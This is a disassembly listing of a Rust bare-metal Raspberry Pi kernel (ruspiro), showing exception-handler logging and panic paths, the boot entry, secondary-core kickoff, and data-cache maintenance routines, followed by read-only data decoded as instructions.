85208: 9117c042 add x2, x2, #0x5f0
8520c: 97fff429 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
85210: d4200020 brk #0x1
85214: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85218: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
8521c: 9137ac00 add x0, x0, #0xdeb
85220: 528003a1 mov w1, #0x1d // #29
85224: 9116a042 add x2, x2, #0x5a8
85228: 97fff422 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
8522c: d4200020 brk #0x1
85230: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85234: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85238: 9136f400 add x0, x0, #0xdbd
8523c: 52800221 mov w1, #0x11 // #17
85240: 9115e042 add x2, x2, #0x578
85244: 97fff41b bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
85248: d4200020 brk #0x1
8524c: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85250: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85254: 91397c00 add x0, x0, #0xe5f
85258: 528003a1 mov w1, #0x1d // #29
8525c: 91182042 add x2, x2, #0x608
85260: 97fff414 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
85264: d4200020 brk #0x1
85268: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
8526c: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85270: 91389400 add x0, x0, #0xe25
85274: 528003a1 mov w1, #0x1d // #29
85278: 91176042 add x2, x2, #0x5d8
8527c: 97fff40d bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
85280: d4200020 brk #0x1
85284: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85288: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
8528c: 91382000 add x0, x0, #0xe08
85290: 528003a1 mov w1, #0x1d // #29
85294: 91170042 add x2, x2, #0x5c0
85298: 97fff406 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
8529c: d4200020 brk #0x1
852a0: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
852a4: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
852a8: 91373800 add x0, x0, #0xdce
852ac: 528003a1 mov w1, #0x1d // #29
852b0: 91164042 add x2, x2, #0x590
852b4: 97fff3ff bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
852b8: d4200020 brk #0x1
852bc: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
852c0: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
852c4: 9136a800 add x0, x0, #0xdaa
852c8: 52800261 mov w1, #0x13 // #19
852cc: 91158042 add x2, x2, #0x560
852d0: 97fff3f8 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
852d4: d4200020 brk #0x1
852d8: f9400289 ldr x9, [x20]
852dc: b4000289 cbz x9, 8532c <__exception_handler_default+0x32c>
852e0: b0000009 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
852e4: 910223e8 add x8, sp, #0x88
852e8: f000000a adrp x10, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
852ec: b000000b adrp x11, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
852f0: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
852f4: 910ac14a add x10, x10, #0x2b0
852f8: f9478129 ldr x9, [x9, #3840]
852fc: 9130c16b add x11, x11, #0xc30
85300: 5280002c mov w12, #0x1 // #1
85304: 910b0042 add x2, x2, #0x2c0
85308: 910143e0 add x0, sp, #0x50
8530c: 52800021 mov w1, #0x1 // #1
85310: a901a7e8 stp x8, x9, [sp, #24]
85314: 910063e8 add x8, sp, #0x18
85318: a90533ea stp x10, x12, [sp, #80]
8531c: a90633eb stp x11, x12, [sp, #96]
85320: a90733e8 stp x8, x12, [sp, #112]
85324: 97fff45b bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
85328: f94047e8 ldr x8, [sp, #136]
8532c: 36400248 tbz w8, #8, 85374 <__exception_handler_default+0x374>
85330: f9400289 ldr x9, [x20]
85334: f100113f cmp x9, #0x4
85338: 540001e3 b.cc 85374 <__exception_handler_default+0x374> // b.lo, b.ul, b.last
8533c: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85340: 52800029 mov w9, #0x1 // #1
85344: 910be108 add x8, x8, #0x2f8
85348: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
8534c: 910c2042 add x2, x2, #0x308
85350: 910143e0 add x0, sp, #0x50
85354: 52800081 mov w1, #0x4 // #4
85358: a9067fff stp xzr, xzr, [sp, #96]
8535c: a90527e8 stp x8, x9, [sp, #80]
85360: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85364: 912ba108 add x8, x8, #0xae8
85368: a9077fe8 stp x8, xzr, [sp, #112]
8536c: 97fff449 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
85370: f94047e8 ldr x8, [sp, #136]
85374: f9400289 ldr x9, [x20]
85378: f100113f cmp x9, #0x4
8537c: 37300208 tbnz w8, #6, 853bc <__exception_handler_default+0x3bc>
85380: 540003a3 b.cc 853f4 <__exception_handler_default+0x3f4> // b.lo, b.ul, b.last
85384: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85388: 52800029 mov w9, #0x1 // #1
8538c: 910e2108 add x8, x8, #0x388
85390: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85394: a9067fff stp xzr, xzr, [sp, #96]
85398: 910e6042 add x2, x2, #0x398
8539c: 1400000f b 853d8 <__exception_handler_default+0x3d8>
853a0: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
853a4: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
853a8: 9131a000 add x0, x0, #0xc68
853ac: 91094042 add x2, x2, #0x250
853b0: 52800301 mov w1, #0x18 // #24
853b4: 97fff3bf bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
853b8: d4200020 brk #0x1
853bc: 540001c3 b.cc 853f4 <__exception_handler_default+0x3f4> // b.lo, b.ul, b.last
853c0: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
853c4: 52800029 mov w9, #0x1 // #1
853c8: 910d0108 add x8, x8, #0x340
853cc: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
853d0: 910d4042 add x2, x2, #0x350
853d4: a9067fff stp xzr, xzr, [sp, #96]
853d8: a90527e8 stp x8, x9, [sp, #80]
853dc: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
853e0: 912ba108 add x8, x8, #0xae8
853e4: a9077fe8 stp x8, xzr, [sp, #112]
853e8: 910143e0 add x0, sp, #0x50
853ec: 52800081 mov w1, #0x4 // #4
853f0: 97fff428 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
853f4: f94047e8 ldr x8, [sp, #136]
853f8: 92401509 and x9, x8, #0x3f
853fc: f100113f cmp x9, #0x4
85400: 54000241 b.ne 85448 <__exception_handler_default+0x448> // b.any
85404: f9400289 ldr x9, [x20]
85408: f100113f cmp x9, #0x4
8540c: 540001e3 b.cc 85448 <__exception_handler_default+0x448> // b.lo, b.ul, b.last
85410: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85414: 52800029 mov w9, #0x1 // #1
85418: 910f4108 add x8, x8, #0x3d0
8541c: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85420: 910f8042 add x2, x2, #0x3e0
85424: 910143e0 add x0, sp, #0x50
85428: 52800081 mov w1, #0x4 // #4
8542c: a9067fff stp xzr, xzr, [sp, #96]
85430: a90527e8 stp x8, x9, [sp, #80]
85434: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85438: 912ba108 add x8, x8, #0xae8
8543c: a9077fe8 stp x8, xzr, [sp, #112]
85440: 97fff414 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
85444: f94047e8 ldr x8, [sp, #136]
85448: 92401509 and x9, x8, #0x3f
8544c: f100153f cmp x9, #0x5
85450: 54000241 b.ne 85498 <__exception_handler_default+0x498> // b.any
85454: f9400289 ldr x9, [x20]
85458: f100113f cmp x9, #0x4
8545c: 540001e3 b.cc 85498 <__exception_handler_default+0x498> // b.lo, b.ul, b.last
85460: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85464: 52800029 mov w9, #0x1 // #1
85468: 91106108 add x8, x8, #0x418
8546c: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85470: 9110a042 add x2, x2, #0x428
85474: 910143e0 add x0, sp, #0x50
85478: 52800081 mov w1, #0x4 // #4
8547c: a9067fff stp xzr, xzr, [sp, #96]
85480: a90527e8 stp x8, x9, [sp, #80]
85484: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85488: 912ba108 add x8, x8, #0xae8
8548c: a9077fe8 stp x8, xzr, [sp, #112]
85490: 97fff400 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
85494: f94047e8 ldr x8, [sp, #136]
85498: 92401509 and x9, x8, #0x3f
8549c: f100193f cmp x9, #0x6
854a0: 54000241 b.ne 854e8 <__exception_handler_default+0x4e8> // b.any
854a4: f9400289 ldr x9, [x20]
854a8: f100113f cmp x9, #0x4
854ac: 540001e3 b.cc 854e8 <__exception_handler_default+0x4e8> // b.lo, b.ul, b.last
854b0: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
854b4: 52800029 mov w9, #0x1 // #1
854b8: 91118108 add x8, x8, #0x460
854bc: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
854c0: 9111c042 add x2, x2, #0x470
854c4: 910143e0 add x0, sp, #0x50
854c8: 52800081 mov w1, #0x4 // #4
854cc: a9067fff stp xzr, xzr, [sp, #96]
854d0: a90527e8 stp x8, x9, [sp, #80]
854d4: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
854d8: 912ba108 add x8, x8, #0xae8
854dc: a9077fe8 stp x8, xzr, [sp, #112]
854e0: 97fff3ec bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
854e4: f94047e8 ldr x8, [sp, #136]
854e8: 92401509 and x9, x8, #0x3f
854ec: f1001d3f cmp x9, #0x7
854f0: 54000241 b.ne 85538 <__exception_handler_default+0x538> // b.any
854f4: f9400289 ldr x9, [x20]
854f8: f100113f cmp x9, #0x4
854fc: 540001e3 b.cc 85538 <__exception_handler_default+0x538> // b.lo, b.ul, b.last
85500: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85504: 52800029 mov w9, #0x1 // #1
85508: 9112a108 add x8, x8, #0x4a8
8550c: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85510: 9112e042 add x2, x2, #0x4b8
85514: 910143e0 add x0, sp, #0x50
85518: 52800081 mov w1, #0x4 // #4
8551c: a9067fff stp xzr, xzr, [sp, #96]
85520: a90527e8 stp x8, x9, [sp, #80]
85524: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85528: 912ba108 add x8, x8, #0xae8
8552c: a9077fe8 stp x8, xzr, [sp, #112]
85530: 97fff3d8 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
85534: f94047e8 ldr x8, [sp, #136]
85538: 92401508 and x8, x8, #0x3f
8553c: f100851f cmp x8, #0x21
85540: 54000301 b.ne 855a0 <__exception_handler_default+0x5a0> // b.any
85544: f9400288 ldr x8, [x20]
85548: f100111f cmp x8, #0x4
8554c: 540002a3 b.cc 855a0 <__exception_handler_default+0x5a0> // b.lo, b.ul, b.last
85550: b0000009 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85554: 910023e8 add x8, sp, #0x8
85558: 910043ea add x10, sp, #0x10
8555c: f000000b adrp x11, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85560: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85564: 9113c16b add x11, x11, #0x4f0
85568: f9477d29 ldr x9, [x9, #3832]
8556c: 91144042 add x2, x2, #0x510
85570: 910143e0 add x0, sp, #0x50
85574: 52800081 mov w1, #0x4 // #4
85578: a901a7e8 stp x8, x9, [sp, #24]
8557c: 52800048 mov w8, #0x2 // #2
85580: a902a7ea stp x10, x9, [sp, #40]
85584: b0000009 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85588: 9134a129 add x9, x9, #0xd28
8558c: 910063ea add x10, sp, #0x18
85590: a90523eb stp x11, x8, [sp, #80]
85594: a90623e9 stp x9, x8, [sp, #96]
85598: a90723ea stp x10, x8, [sp, #112]
8559c: 97fff3bd bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
855a0: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
855a4: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
855a8: 91366000 add x0, x0, #0xd98
855ac: 52800241 mov w1, #0x12 // #18
855b0: 91152042 add x2, x2, #0x548
855b4: 97fff33f bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
855b8: d4200020 brk #0x1
855bc: 00000000 .inst 0x00000000 ; undefined
00000000000855c0 <__rust_entry>:
855c0: a9bf4ffe stp x30, x19, [sp, #-16]!
855c4: 2a0003f3 mov w19, w0
855c8: 9400001e bl 85640 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E>
855cc: 2a1303e0 mov w0, w19
855d0: 97ffeb34 bl 802a0 <__kernel_startup>
855d4: 2a1303e0 mov w0, w19
855d8: 94000006 bl 855f0 <_ZN12ruspiro_boot17kickoff_next_core17h76c83402c8092a69E>
855dc: 2a1303e0 mov w0, w19
855e0: 97ffeb38 bl 802c0 <__kernel_run>
855e4: d4200020 brk #0x1
...
00000000000855f0 <_ZN12ruspiro_boot17kickoff_next_core17h76c83402c8092a69E>:
855f0: 340000e0 cbz w0, 8560c <_ZN12ruspiro_boot17kickoff_next_core17h76c83402c8092a69E+0x1c>
855f4: 7100081f cmp w0, #0x2
855f8: 540000e0 b.eq 85614 <_ZN12ruspiro_boot17kickoff_next_core17h76c83402c8092a69E+0x24> // b.none
855fc: 7100041f cmp w0, #0x1
85600: 540001c1 b.ne 85638 <_ZN12ruspiro_boot17kickoff_next_core17h76c83402c8092a69E+0x48> // b.any
85604: 52801d08 mov w8, #0xe8 // #232
85608: 14000004 b 85618 <_ZN12ruspiro_boot17kickoff_next_core17h76c83402c8092a69E+0x28>
8560c: 52801c08 mov w8, #0xe0 // #224
85610: 14000002 b 85618 <_ZN12ruspiro_boot17kickoff_next_core17h76c83402c8092a69E+0x28>
85614: 52801e08 mov w8, #0xf0 // #240
85618: f81f0ffe str x30, [sp, #-16]!
8561c: 52a00109 mov w9, #0x80000 // #524288
85620: 52801c00 mov w0, #0xe0 // #224
85624: 52800201 mov w1, #0x10 // #16
85628: f9000109 str x9, [x8]
8562c: 9400006d bl 857e0 <_ZN13ruspiro_cache6dcache18flush_dcache_range17hfaca19ddf714d732E>
85630: d503209f sev
85634: f84107fe ldr x30, [sp], #16
85638: d65f03c0 ret
8563c: 00000000 .inst 0x00000000 ; undefined
0000000000085640 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E>:
85640: d5033f9f dsb sy
85644: d5390028 mrs x8, clidr_el1
85648: f268091f tst x8, #0x7000000
8564c: 54000b80 b.eq 857bc <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x17c> // b.none
85650: d5390028 mrs x8, clidr_el1
85654: f27f051f tst x8, #0x6
85658: 54000360 b.eq 856c4 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x84> // b.none
8565c: d53a0008 mrs x8, csselr_el1
85660: 927cf108 and x8, x8, #0xfffffffffffffff1
85664: d51a0008 msr csselr_el1, x8
85668: d5033fdf isb
8566c: d5390009 mrs x9, ccsidr_el1
85670: d539000a mrs x10, ccsidr_el1
85674: d5390008 mrs x8, ccsidr_el1
85678: d34d6d08 ubfx x8, x8, #13, #15
8567c: b4000248 cbz x8, 856c4 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x84>
85680: d343314b ubfx x11, x10, #3, #10
85684: b400020b cbz x11, 856c4 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x84>
85688: 92400929 and x9, x9, #0x7
8568c: dac0116a clz x10, x11
85690: 91001129 add x9, x9, #0x4
85694: 9240154a and x10, x10, #0x3f
85698: d100056b sub x11, x11, #0x1
8569c: d1000508 sub x8, x8, #0x1
856a0: aa0b03ec mov x12, x11
856a4: 9ac9210d lsl x13, x8, x9
856a8: 9aca218e lsl x14, x12, x10
856ac: d100058c sub x12, x12, #0x1
856b0: b100059f cmn x12, #0x1
856b4: aa0d01ce orr x14, x14, x13
856b8: d508764e dc isw, x14
856bc: 54ffff61 b.ne 856a8 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x68> // b.any
856c0: b5fffee8 cbnz x8, 8569c <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x5c>
856c4: d5390028 mrs x8, clidr_el1
856c8: f27c051f tst x8, #0x30
856cc: 540003a0 b.eq 85740 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x100> // b.none
856d0: d53a0008 mrs x8, csselr_el1
856d4: 927cf108 and x8, x8, #0xfffffffffffffff1
856d8: b27f0108 orr x8, x8, #0x2
856dc: d51a0008 msr csselr_el1, x8
856e0: d5033fdf isb
856e4: d5390009 mrs x9, ccsidr_el1
856e8: d539000a mrs x10, ccsidr_el1
856ec: d5390008 mrs x8, ccsidr_el1
856f0: d34d6d08 ubfx x8, x8, #13, #15
856f4: b4000268 cbz x8, 85740 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x100>
856f8: d343314b ubfx x11, x10, #3, #10
856fc: b400022b cbz x11, 85740 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x100>
85700: 92400929 and x9, x9, #0x7
85704: dac0116a clz x10, x11
85708: 91001129 add x9, x9, #0x4
8570c: 9240154a and x10, x10, #0x3f
85710: d100056b sub x11, x11, #0x1
85714: d1000508 sub x8, x8, #0x1
85718: aa0b03ec mov x12, x11
8571c: 9ac9210d lsl x13, x8, x9
85720: 9aca218e lsl x14, x12, x10
85724: d100058c sub x12, x12, #0x1
85728: aa0e01ae orr x14, x13, x14
8572c: b100059f cmn x12, #0x1
85730: b27f01ce orr x14, x14, #0x2
85734: d508764e dc isw, x14
85738: 54ffff41 b.ne 85720 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0xe0> // b.any
8573c: b5fffec8 cbnz x8, 85714 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0xd4>
85740: d5390028 mrs x8, clidr_el1
85744: f279051f tst x8, #0x180
85748: 540003a0 b.eq 857bc <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x17c> // b.none
8574c: d53a0008 mrs x8, csselr_el1
85750: 927cf108 and x8, x8, #0xfffffffffffffff1
85754: b27e0108 orr x8, x8, #0x4
85758: d51a0008 msr csselr_el1, x8
8575c: d5033fdf isb
85760: d5390009 mrs x9, ccsidr_el1
85764: d539000a mrs x10, ccsidr_el1
85768: d5390008 mrs x8, ccsidr_el1
8576c: d34d6d08 ubfx x8, x8, #13, #15
85770: b4000268 cbz x8, 857bc <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x17c>
85774: d343314b ubfx x11, x10, #3, #10
85778: b400022b cbz x11, 857bc <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x17c>
8577c: 92400929 and x9, x9, #0x7
85780: dac0116a clz x10, x11
85784: 91001129 add x9, x9, #0x4
85788: 9240154a and x10, x10, #0x3f
8578c: d100056b sub x11, x11, #0x1
85790: d1000508 sub x8, x8, #0x1
85794: aa0b03ec mov x12, x11
85798: 9ac9210d lsl x13, x8, x9
8579c: 9aca218e lsl x14, x12, x10
857a0: d100058c sub x12, x12, #0x1
857a4: aa0e01ae orr x14, x13, x14
857a8: b100059f cmn x12, #0x1
857ac: b27e01ce orr x14, x14, #0x4
857b0: d508764e dc isw, x14
857b4: 54ffff41 b.ne 8579c <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x15c> // b.any
857b8: b5fffec8 cbnz x8, 85790 <_ZN13ruspiro_cache6dcache17invalidate_dcache17hc0f88a752d47d574E+0x150>
857bc: d53a0008 mrs x8, csselr_el1
857c0: 927cf108 and x8, x8, #0xfffffffffffffff1
857c4: d51a0008 msr csselr_el1, x8
857c8: d5033f9f dsb sy
857cc: d5033fdf isb
857d0: d65f03c0 ret
...
00000000000857e0 <_ZN13ruspiro_cache6dcache18flush_dcache_range17hfaca19ddf714d732E>:
857e0: d5033f9f dsb sy
857e4: 52800089 mov w9, #0x4 // #4
857e8: d53b0028 mrs x8, ctr_el0
857ec: 53104d08 ubfx w8, w8, #16, #4
857f0: 1ac82128 lsl w8, w9, w8
857f4: cb0803ea neg x10, x8
857f8: 8b000029 add x9, x1, x0
857fc: 8a00014a and x10, x10, x0
85800: eb09015f cmp x10, x9
85804: 540000a2 b.cs 85818 <_ZN13ruspiro_cache6dcache18flush_dcache_range17hfaca19ddf714d732E+0x38> // b.hs, b.nlast
85808: d50b7e2a dc civac, x10
8580c: 8b08014a add x10, x10, x8
85810: eb09015f cmp x10, x9
85814: 54ffffa3 b.cc 85808 <_ZN13ruspiro_cache6dcache18flush_dcache_range17hfaca19ddf714d732E+0x28> // b.lo, b.ul, b.last
85818: d5033f9f dsb sy
8581c: d65f03c0 ret
Disassembly of section .rodata:
0000000000085820 <anon.aa99a32212951cb336354cf2f8afd4c4.0.llvm.16224240196047894230>:
85820: 555c3a43 .inst 0x555c3a43 ; undefined
85824: 73726573 .inst 0x73726573 ; undefined
85828: 7073705c adr x28, 16c633 <__heap_start+0xa3633>
8582c: 2e5c6977 .inst 0x2e5c6977 ; undefined
85830: 67726163 .inst 0x67726163 ; undefined
85834: 65725c6f fnmla z15.h, p7/m, z3.h, z18.h
85838: 74736967 .inst 0x74736967 ; undefined
8583c: 735c7972 .inst 0x735c7972 ; undefined
85840: 675c6372 .inst 0x675c6372 ; undefined
85844: 75687469 .inst 0x75687469 ; undefined
85848: 6f632e62 .inst 0x6f632e62 ; undefined
8584c: 65312d6d .inst 0x65312d6d ; undefined
85850: 32366363 orr w3, w27, #0xfffffc07
85854: 62643939 .inst 0x62643939 ; undefined
85858: 38636539 .inst 0x38636539 ; undefined
8585c: 725c3332 .inst 0x725c3332 ; undefined
85860: 69707375 ldpsw x21, x28, [x27, #-128]
85864: 632d6f72 .inst 0x632d6f72 ; undefined
85868: 6e6e6168 rsubhn2 v8.8h, v11.4s, v14.4s
8586c: 302d6c65 adr x5, e05f9 <__heap_start+0x175f9>
85870: 312e312e adds w14, w9, #0xb8c
85874: 6372735c .inst 0x6372735c ; undefined
85878: 6d706d5c ldp d28, d27, [x10, #-256]
8587c: 75715c63 .inst 0x75715c63 ; undefined
85880: 2e657565 uabd v5.4h, v11.4h, v5.4h
85884: .inst 0x61637372 ; undefined
0000000000085886 <anon.aa99a32212951cb336354cf2f8afd4c4.2.llvm.16224240196047894230>:
85886: 6c6c6163 ldnp d3, d24, [x11, #-320]
8588a: 60206465 .inst 0x60206465 ; undefined
8588e: 6974704f ldpsw x15, x28, [x2, #-96]
85892: 3a3a6e6f .inst 0x3a3a6e6f ; undefined
85896: 72776e75 .inst 0x72776e75 ; undefined
8589a: 29287061 stp w1, w28, [x3, #-192]
8589e: 6e6f2060 usubl2 v0.4s, v3.8h, v15.8h
858a2: 60206120 .inst 0x60206120 ; undefined
858a6: 656e6f4e fnmls z14.h, p3/m, z26.h, z14.h
858aa: 61762060 .inst 0x61762060 ; undefined
858ae: 0065756c .inst 0x0065756c ; undefined
858b2: 00000000 .inst 0x00000000 ; undefined
858b6: b4000000 cbz x0, 858b6 <anon.aa99a32212951cb336354cf2f8afd4c4.2.llvm.16224240196047894230+0x30>
858ba: 00003f00 .inst 0x00003f00 ; undefined
...
00000000000858c0 <anon.a23b694d1dc451c0e6c510e31520f481.9.llvm.10647643565819495523>:
858c0: 40000040 .inst 0x40000040 ; undefined
858c4: 00000000 .inst 0x00000000 ; undefined
858c8: 79622820 ldrh w0, [x1, #4372]
858cc: 20736574 .inst 0x20736574 ; undefined
00000000000858d0 <anon.a23b694d1dc451c0e6c510e31520f481.13.llvm.10647643565819495523>:
858d0: 3f00b204 .inst 0x3f00b204 ; undefined
858d4: 00000000 .inst 0x00000000 ; undefined
00000000000858d8 <anon.a23b694d1dc451c0e6c510e31520f481.14.llvm.10647643565819495523>:
858d8: 3f00b208 .inst 0x3f00b208 ; undefined
858dc: 00000000 .inst 0x00000000 ; undefined
858e0: 5f727365 sqdmlsl s5, h27, v2.h[3]
858e4: 203a6365 .inst 0x203a6365 ; undefined
858e8: 3f00b40c .inst 0x3f00b40c ; undefined
858ec: 00000000 .inst 0x00000000 ; undefined
00000000000858f0 <anon.a23b694d1dc451c0e6c510e31520f481.16.llvm.10647643565819495523>:
858f0: 40000060 .inst 0x40000060 ; undefined
858f4: 00000000 .inst 0x00000000 ; undefined
00000000000858f8 <anon.a23b694d1dc451c0e6c510e31520f481.10.llvm.10647643565819495523>:
858f8: 3f00b218 .inst 0x3f00b218 ; undefined
858fc: 00000000 .inst 0x00000000 ; undefined
0000000000085900 <anon.a23b694d1dc451c0e6c510e31520f481.5.llvm.10647643565819495523>:
85900: 40000054 .inst 0x40000054 ; undefined
85904: 00000000 .inst 0x00000000 ; undefined
0000000000085908 <anon.a23b694d1dc451c0e6c510e31520f481.15.llvm.10647643565819495523>:
85908: 3f00b200 .inst 0x3f00b200 ; undefined
...
85914: 00000020 .inst 0x00000020 ; undefined
0000000000085918 <anon.a23b694d1dc451c0e6c510e31520f481.17.llvm.10647643565819495523>:
85918: 40000064 .inst 0x40000064 ; undefined
8591c: 00000000 .inst 0x00000000 ; undefined
85920: 3f215000 .inst 0x3f215000 ; undefined
85924: 00000000 .inst 0x00000000 ; undefined
0000000000085928 <anon.a23b694d1dc451c0e6c510e31520f481.19.llvm.10647643565819495523>:
85928: 4000006c .inst 0x4000006c ; undefined
